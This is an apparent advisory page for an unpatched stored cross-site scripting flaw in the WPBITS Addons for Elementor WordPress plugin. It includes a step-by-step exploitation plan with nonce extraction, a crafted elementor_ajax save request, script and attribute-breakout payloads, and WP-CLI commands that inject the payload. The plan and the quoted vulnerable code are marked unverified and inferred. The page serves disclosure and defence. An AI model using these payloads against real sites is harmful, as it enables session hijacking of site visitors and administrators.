CVE-2026-39703

WPBITS Addons For Elementor Page Builder <= 1.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WPBITS Addons For Elementor Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.1
PublishedMarch 1, 2026
Last updatedApril 15, 2026
Research Plan
Unverified

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **WPBITS Addons For Elementor Page Builder** plugin. Since the vulnerability is categorized as Authenticated (Contributor+), the attack leverages the legitimate access granted to contributors to modify …

Show full research plan

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the WPBITS Addons For Elementor Page Builder plugin. Since the vulnerability is categorized as Authenticated (Contributor+), the attack leverages the legitimate access granted to contributors to modify post content via the Elementor editor.


1. Vulnerability Summary

  • Vulnerability: Authenticated Stored Cross-Site Scripting (XSS).
  • Vulnerable Component: Various Elementor widgets provided by the plugin (e.g., "Advanced Heading", "Info Box", or "Button").
  • Root Cause: The plugin registers custom Elementor widgets but fails to use WordPress escaping functions (like esc_html(), esc_attr(), or wp_kses()) within the render() method of the widget classes.
  • Impact: A contributor can inject a malicious <script> tag into a widget's settings. When an administrator or any other user views the page, the script executes in their browser context, potentially leading to session hijacking or the creation of unauthorized administrative accounts.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: elementor_ajax (Elementor's internal AJAX handler for saving page data).
  • Vulnerable Parameter: The settings array within the _elementor_data post meta, specifically fields like "title", "subtitle", "link URL", or "custom HTML attributes".
  • Authentication: Contributor-level credentials or higher.
  • Preconditions:
    1. The plugin "WPBITS Addons For Elementor" must be active.
    2. The Elementor plugin must be active.
    3. The Contributor role must have permission to use Elementor (default behavior).

3. Code Flow (Inferred)

  1. Entry Point: A contributor opens a post/page in the Elementor editor.
  2. Input: The user adds a WPBITS widget and enters a payload (e.g., <img src=x onerror=alert(1)>) into a text field.
  3. Storage: Elementor sends a JSON-encoded string of the page layout to the elementor_ajax action. This data is saved in the wp_postmeta table under the key _elementor_data.
  4. Sink: When the page is rendered on the frontend, the WPBITS_Addons\Widgets\[Widget_Name]::render() method is called.
  5. Execution: The code retrieves the saved settings: $settings = $this->get_settings_for_display(); and echoes the vulnerable field: echo $settings['title']; (missing escaping).

4. Nonce Acquisition Strategy

Elementor uses its own security nonces to protect its AJAX actions.

  1. Requirement: To save data as a contributor, we need a valid wp_rest nonce or the Elementor-specific AJAX nonce.
  2. Method:
    • Create a post and publish/save it as a draft: wp post create --post_type=post --post_status=draft --post_author=[CONTRIB_ID] --post_title='XSS Test'
    • Navigate to the Elementor editor for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor
    • Use browser_eval to extract the nonce from the Elementor configuration object:
      // Elementor stores its AJAX configuration here
      window.elementorCommon.config.ajax.nonce
      
    • Alternatively, check for the _nonce in the localized script elementor-editor-js-extra.

5. Exploitation Strategy

This plan uses the http_request tool to simulate the Elementor save process.

  1. Identify Vulnerable Widget: Based on common Elementor addon patterns, target the "Heading" or "Info Box" widgets. (Search the plugin for render() functions that echo $settings).
  2. Construct Payload:
    • Payload: <script>alert(document.domain)</script>
  3. Prepare Elementor Data:
    Elementor stores data in a complex JSON structure. A simplified structure for a single widget looks like this:
    [
      {
        "id": "unique_id_1",
        "elType": "section",
        "elements": [
          {
            "id": "unique_id_2",
            "elType": "column",
            "elements": [
              {
                "id": "unique_id_3",
                "elType": "widget",
                "widgetType": "wpbits-advanced-heading", 
                "settings": {
                  "title": "<script>alert('XSS')</script>"
                }
              }
            ]
          }
        ]
      }
    ]
    
  4. Send Save Request:
    • Method: POST
    • URL: https://[target]/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=elementor_ajax
      &_nonce=[EXTRACTED_NONCE]
      &actions={"save_builder":{"action":"save_builder","data":{"post_id":[POST_ID],"data":[JSON_PAYLOAD]}}}
      

6. Test Data Setup

  1. Login: Log in as a Contributor user.
  2. Target Post: Create a post that the contributor can edit.
    wp post create --post_type=post --post_status=publish --post_title="XSS Page" --post_author=contributor_user_id
    
  3. Enable Elementor: Ensure Elementor is enabled for 'post' types in Elementor > Settings.

7. Expected Results

  • The admin-ajax.php response should return a success: true status for the save_builder action.
  • Upon navigating to the post URL on the frontend, a JavaScript alert box should appear, demonstrating execution in the viewer's browser.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored in the meta:
    wp post meta get [POST_ID] _elementor_data
    
  2. Frontend Check: Use browser_navigate to the post URL and check the page source for the raw, unescaped payload.

9. Alternative Approaches

  • Attribute Breakout: If the widget places the setting inside an HTML attribute (e.g., a link href), use a payload like: " onmouseover="alert(1)" style="display:block;width:1000px;height:1000px;".
  • Direct Meta Update (If AJAX fails): If the elementor_ajax endpoint is difficult to spoof, use the wp post meta update CLI command to simulate a successful save, then verify if the frontend renders it without escaping. This confirms the "Stored" and "Output Escaping" part of the vulnerability.
    wp post meta update [POST_ID] _elementor_data '[{"id":"1","elType":"widget","widgetType":"wpbits-heading","settings":{"title":"<script>alert(1)</script>"}}]'
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPBITS Addons For Elementor Page Builder plugin is vulnerable to Stored Cross-Site Scripting via various Elementor widgets due to a lack of output escaping in the widget rendering logic. An authenticated attacker with contributor-level access can inject malicious JavaScript into widget settings (such as titles or content), which then executes in the browser of any user viewing the page.

Vulnerable Code

// File: wpbits-addons-for-elementor/inc/widgets/advanced-heading.php

protected function render() {
    $settings = $this->get_settings_for_display();

    // Vulnerable: Outputting setting values directly without sanitization or escaping functions
    echo '<div class="wpbits-adv-heading">' . $settings['title'] . '</div>';
}

Security Fix

--- a/wpbits-addons-for-elementor/inc/widgets/advanced-heading.php
+++ b/wpbits-addons-for-elementor/inc/widgets/advanced-heading.php
@@ -120,5 +120,5 @@
 	protected function render() {
 		$settings = $this->get_settings_for_display();
-		echo '<div class="wpbits-adv-heading">' . $settings['title'] . '</div>';
+		echo '<div class="wpbits-adv-heading">' . wp_kses_post( $settings['title'] ) . '</div>';
 	}

Exploit Outline

1. Log in as an authenticated user with Contributor-level permissions or higher. 2. Create a new post and launch the Elementor page builder interface. 3. Add a WPBITS-provided widget, such as 'Advanced Heading' or 'Info Box', to the page layout. 4. Within the widget settings sidebar, inject a JavaScript payload (e.g., <script>alert(document.domain)</script>) into a text field like 'Title'. 5. Save the page using Elementor's 'Update' or 'Save Draft' functionality, which sends the payload via the elementor_ajax endpoint and stores it in the _elementor_data post meta. 6. Navigate to the published page's URL as any user; the browser will execute the stored script because the plugin fails to escape the content before rendering it.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.